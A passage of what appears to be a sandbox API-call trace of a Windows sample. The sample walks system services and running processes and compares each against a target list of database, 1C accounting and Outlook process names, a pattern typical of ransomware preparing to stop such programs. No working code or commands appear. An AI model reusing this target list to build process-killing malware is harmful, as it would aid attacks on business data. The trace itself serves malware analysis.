[0263.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0263.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0263.010] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0263.010] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0263.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0263.011] lstrlenW (lpString="Netman") returned 6 [0263.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0263.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0263.011] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0263.011] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0263.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0263.011] lstrlenW (lpString="netprofm") returned 8 [0263.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0263.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0263.011] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0263.011] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0263.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0263.012] lstrlenW (lpString="NlaSvc") returned 6 [0263.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0263.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0263.012] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0263.012] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0263.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0263.012] lstrlenW (lpString="nsi") returned 3 [0263.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0263.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0263.012] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0263.013] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0263.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0263.013] lstrlenW (lpString="PcaSvc") returned 6 [0263.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0263.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0263.013] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0263.013] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0263.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0263.013] lstrlenW (lpString="PlugPlay") returned 8 [0263.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0263.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0263.013] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0263.014] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0263.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0263.014] lstrlenW (lpString="Power") returned 5 [0263.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0263.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0263.014] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0263.014] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0263.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0263.014] lstrlenW (lpString="ProfSvc") returned 7 [0263.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0263.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0263.015] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0263.015] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0263.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0263.015] lstrlenW (lpString="RpcEptMapper") returned 12 [0263.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0263.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0263.015] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0263.015] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0263.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0263.015] lstrlenW (lpString="RpcSs") returned 5 [0263.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0263.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0263.015] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0263.015] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0263.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0263.016] lstrlenW (lpString="SamSs") returned 5 [0263.016] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0263.016] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0263.016] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0263.016] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0263.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0263.016] lstrlenW (lpString="Schedule") returned 8 [0263.016] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0263.016] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0263.016] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0263.017] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0263.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0263.017] lstrlenW (lpString="SENS") returned 4 [0263.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0263.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0263.017] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0263.017] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0263.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0263.017] lstrlenW (lpString="ShellHWDetection") returned 16 [0263.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0263.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0263.017] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0263.017] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0263.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0263.018] lstrlenW (lpString="Spooler") returned 7 [0263.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0263.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0263.018] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0263.018] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0263.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0263.018] lstrlenW (lpString="SysMain") returned 7 [0263.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0263.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0263.018] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0263.018] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0263.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0263.019] lstrlenW (lpString="Themes") returned 6 [0263.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0263.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0263.019] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0263.019] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0263.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0263.019] lstrlenW (lpString="TrkWks") returned 6 [0263.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0263.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0263.019] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0263.019] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0263.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0263.020] lstrlenW (lpString="UxSms") returned 5 [0263.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0263.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0263.020] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0263.020] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0263.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0263.020] lstrlenW (lpString="WdiServiceHost") returned 14 [0263.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0263.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0263.020] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0263.020] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0263.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0263.021] lstrlenW (lpString="WdiSystemHost") returned 13 [0263.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0263.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0263.021] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0263.021] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0263.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0263.021] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0263.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0263.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0263.021] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0263.021] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0263.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0263.021] lstrlenW (lpString="Winmgmt") returned 7 [0263.022] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0263.022] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0263.022] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0263.022] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0263.022] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0263.022] lstrlenW (lpString="WPDBusEnum") returned 10 [0263.022] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0263.022] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0263.022] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0263.022] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0263.022] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0263.022] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x41a2db8 | out: hHeap=0x880000) returned 1 [0263.023] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3bc [0263.030] Process32FirstW (in: hSnapshot=0x3bc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0263.031] Process32NextW (in: hSnapshot=0x3bc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x53, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0263.033] lstrlenW (lpString="System") returned 6 [0263.033] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0263.033] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0263.033] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0263.034] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0263.034] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0263.034] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0263.034] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0263.034] Process32NextW (in: hSnapshot=0x3bc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0263.036] lstrlenW (lpString="smss.exe") returned 8 [0263.036] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0263.036] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0263.036] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0263.036] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0263.037] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0263.037] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0263.037] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0263.037] Process32NextW (in: hSnapshot=0x3bc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0263.039] lstrlenW (lpString="csrss.exe") returned 9 [0263.039] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0263.039] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0263.039] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0263.039] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0263.039] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0263.039] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0263.039] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0264.105] Process32NextW (in: hSnapshot=0x3bc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0264.128] lstrlenW (lpString="wininit.exe") returned 11 [0264.128] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0264.128] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0264.128] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0264.128] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0264.128] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0264.128] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0264.129] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0264.129] Process32NextW (in: hSnapshot=0x3bc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0264.130] lstrlenW (lpString="csrss.exe") returned 9 [0264.130] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0264.130] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0264.130] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0264.130] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0264.130] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0264.130] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0264.130] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0264.130] Process32NextW (in: hSnapshot=0x3bc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0264.131] lstrlenW (lpString="winlogon.exe") returned 12 [0264.131] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0264.131] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0264.131] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0264.131] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0264.132] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0264.132] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0264.132] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0264.132] Process32NextW (in: hSnapshot=0x3bc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0264.133] lstrlenW (lpString="services.exe") returned 12 [0264.134] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0264.134] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0264.134] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0264.134] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0264.134] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0264.134] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0264.134] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0264.134] Process32NextW (in: hSnapshot=0x3bc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0264.135] lstrlenW (lpString="lsass.exe") returned 9 [0264.135] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0264.135] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0264.135] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0264.135] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0264.135] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0264.135] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0264.136] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0264.136] Process32NextW (in: hSnapshot=0x3bc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0264.137] lstrlenW (lpString="lsm.exe") returned 7 [0264.137] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0264.137] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0264.137] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0264.137] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0264.137] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0264.137] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0264.137] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0264.137] Process32NextW (in: hSnapshot=0x3bc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.138] lstrlenW (lpString="svchost.exe") returned 11 [0264.138] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0264.138] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0264.139] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0264.139] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0264.139] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0264.139] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0264.139] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0264.139] Process32NextW (in: hSnapshot=0x3bc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.140] lstrlenW (lpString="svchost.exe") returned 11 [0264.140] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0264.140] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0264.140] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0264.140] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0264.140] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0264.140] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0264.140] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0264.141] Process32NextW (in: hSnapshot=0x3bc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.141] lstrlenW (lpString="svchost.exe") returned 11 [0264.142] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0264.142] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0264.142] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0264.142] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0264.142] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0264.142] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0264.142] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0264.142] Process32NextW (in: hSnapshot=0x3bc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.143] lstrlenW (lpString="svchost.exe") returned 11 [0264.143] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0264.143] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0264.143] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0264.143] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0264.143] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0264.144] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0264.144] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0264.144] Process32NextW (in: hSnapshot=0x3bc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.145] lstrlenW (lpString="svchost.exe") returned 11 [0264.145] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0264.145] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0264.145] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0264.145] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0264.145] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0264.145] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0264.145] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0264.145] Process32NextW (in: hSnapshot=0x3bc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0264.146] lstrlenW (lpString="audiodg.exe") returned 11 [0264.146] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1 [0264.147] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1 [0264.147] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1 [0264.147] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1 [0264.147] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1 [0264.147] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1 [0264.147] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1 [0264.147] Process32NextW (in: hSnapshot=0x3bc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.149] lstrlenW (lpString="svchost.exe") returned 11 [0264.149] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0264.149] 